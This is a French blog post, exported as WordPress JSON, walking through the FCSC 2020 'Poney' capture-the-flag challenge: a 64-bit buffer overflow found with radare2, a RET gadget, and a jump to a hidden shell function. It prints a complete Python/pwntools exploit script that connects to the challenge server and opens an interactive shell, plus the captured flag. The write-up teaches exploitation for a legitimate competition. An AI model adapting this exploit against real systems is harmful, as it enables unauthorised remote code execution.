{"id":144,"date":"2020-05-05T15:28:00","date_gmt":"2020-05-05T13:28:00","guid":{"rendered":"https:\/\/blog.caturday-lovers.fr.nf\/?p=144"},"modified":"2020-05-11T09:34:20","modified_gmt":"2020-05-11T07:34:20","slug":"les-chatons-ont-la-reponse-fcsc-2020-poney","status":"publish","type":"post","link":"https:\/\/blog.caturday-lovers.fr.nf\/?p=144","title":{"rendered":"Les chatons ont la r\u00e9ponse \u2013 FCSC 2020 \/\/ Poney"},"content":{"rendered":"\n
\"\"<\/figure><\/div>\n\n\n\n\n\n\n\n

Intro<\/h2>\n\n\n\n

Bon, mis \u00e0 part que le titre me fait remonter de grands souvenirs au sein de la spirit-lan, nous avons un petit challenge en reverse.<\/p>\n\n\n\n

Give me the correct input, and I will give you a shell :<\/h2>\n\n\n\n

Oh, vraiment ? Juste cela ? C’est trop beau pour \u00eatre vrai ! Que nous dit radare2 ? Il dit que le gateau est un mensonge ! C’est un peu plus qu’une entr\u00e9e correcte qu’il nous faut, et nous allons voir cela ensemble.<\/p>\n\n\n\n

Zone 49, Mai 2020, autopsie du poney<\/h2>\n\n\n\n
\"\"
Dr bouchard, Dr bouchard, il y a plein de couleurs !!!!!<\/figcaption><\/figure>\n\n\n\n

Que voyons-nous, dans la fonction main, nous avons deux affichages de strings (en 400691 et 40069d) et la r\u00e9cup\u00e9ration de l’input utilisateur en 4006ae. Pour le moment, je ne vois pas d’appel vers la fonction qui lancera le shell. Vous savez ce que cela veux dire ? Que l’on se rapproche d’un buffer overflow avec ex\u00e9cution de code.<\/p>\n\n\n\n

SHIELD WALL !!!!!!!<\/h2>\n\n\n\n

Expliquons rapidement le buffer overflow, le principe est de d\u00e9passer la capacit\u00e9 du buffer qui r\u00e9cup\u00e8re notre entr\u00e9e, et de forcer le logiciel h\u00f4te \u00e0 ex\u00e9cuter une commande qui n’\u00e9tait pas pr\u00e9vue \u00e0 la base (calc.exe, un code malveillant, un acc\u00e8s shell, \u2026).
Comment trouvons-nous la taille du buffer ? Dans notre cas elle est initialis\u00e9e au d\u00e9but du main :
; var int64_t var_20h @ rbp-0x20<\/em><\/strong>
Nous savons que nous sommes sur une application 64 bits, donc les registres seront sur 8 bits (au lieu de 4 en 32 bits), et que le buffer est initialis\u00e9 pour accueillir 0x20 caract\u00e8res ( 32 caract\u00e8res en d\u00e9cimal).
Donc, si on d\u00e9passe les 0x28 caract\u00e8res, on d\u00e9passe le tampon, et nous arrivons dans la zone critique. Cela se voit quand l’application vous renvoit l’erreur suivante :
<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Maintenant que nous savons comment briser les pattes du poney, il est temps de lui en mettre des bioniques. Le principe est d’appeler la fonction dont nous avons besoin, dans notre cas shell, et une fois dedans, nous aurons gagn\u00e9.
Afin d’avoir notre code clean et d’\u00e9viter des pannes al\u00e9atoires, nous allons utiliser un RET comme un gadget afin de nettoyer les registres, pas besoin d’inventer la poudre ou de compiler un OS, nous allons r\u00e9cup\u00e9rer ceux d\u00e9j\u00e0 en place :<\/p>\n\n\n\n

\"\"
la fonction shell, o\u00f9 nous allons emprunter le RET et son entrypoint<\/figcaption><\/figure>\n\n\n\n

Exploit.py<\/h2>\n\n\n\n
import re\nimport socket\nfrom pwn import *\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nshell = \"challenges1.france-cybersecurity-challenge.fr\"\nport = 4000\nretAddr = 0x004006db\nshellAddr = 0x00400676\noverflow = cyclic(0x20+8)\npayload = overflow+p64(retAddr)+p64(shellAddr)\n\ndef SockClose():\n    print(\"[*] Goodbye Mr Bond !\")\n    s.close()\n    input()\n\ndef SockOpen():\n    s.connect((shell,port))\n    Exploit()\n\ndef Exploit():\n    print(\"[*] Doing Black Magic\")\n    r = s.recv(1024)\n    print(r)\n    while \">>>\" not in str(r):\n        print(\"[?] Waiting for >>>\")\n        r = s.recv(1024)\n        print(r)\n    print(\"[!] Sending\\n%s\" % hexdump(payload))\n    s.send(\"%s \\n\"% payload)\n    print(\"[!] Payload Send\")\n    while 1:\n        cmd = raw_input(\"(EvilCat-Shell)$ \")\n        s.send(\"%s \\n\"% cmd)\n        r = s.recv(1024)\n        if not len(r):\n            print(\"[!] DeadShell\")\n\n        print(r)\n\ntry:\n    SockOpen()\nexcept:\n    print(\"[!] Exploit Error\")\nfinally:\n    SockClose()\n\n<\/code><\/pre>\n\n\n\n
\"\"
don’t laugh at meeow<\/figcaption><\/figure>\n\n\n\n
Le contrat est rempli, nous avons un shell, et notre flag !<\/p>\n\n\n\n
FCSC{725dd45f9c98099bcca6e9922beda74d381af1145dfce3b933512a380a356acf}<\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":13,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[90,92,96,63,61,93,91,94,95],"class_list":["post-144","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kitensgotanswer","tag-anssi","tag-buffer","tag-code-execution","tag-ecsc","tag-fcsc","tag-overflow","tag-poney","tag-ret","tag-shell"],"_links":{"self":[{"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/posts\/144","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=144"}],"version-history":[{"count":5,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/posts\/144\/revisions"}],"predecessor-version":[{"id":256,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/posts\/144\/revisions\/256"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=\/wp\/v2\/media\/13"}],"wp:attachment":[{"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=144"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=144"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.caturday-lovers.fr.nf\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=144"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}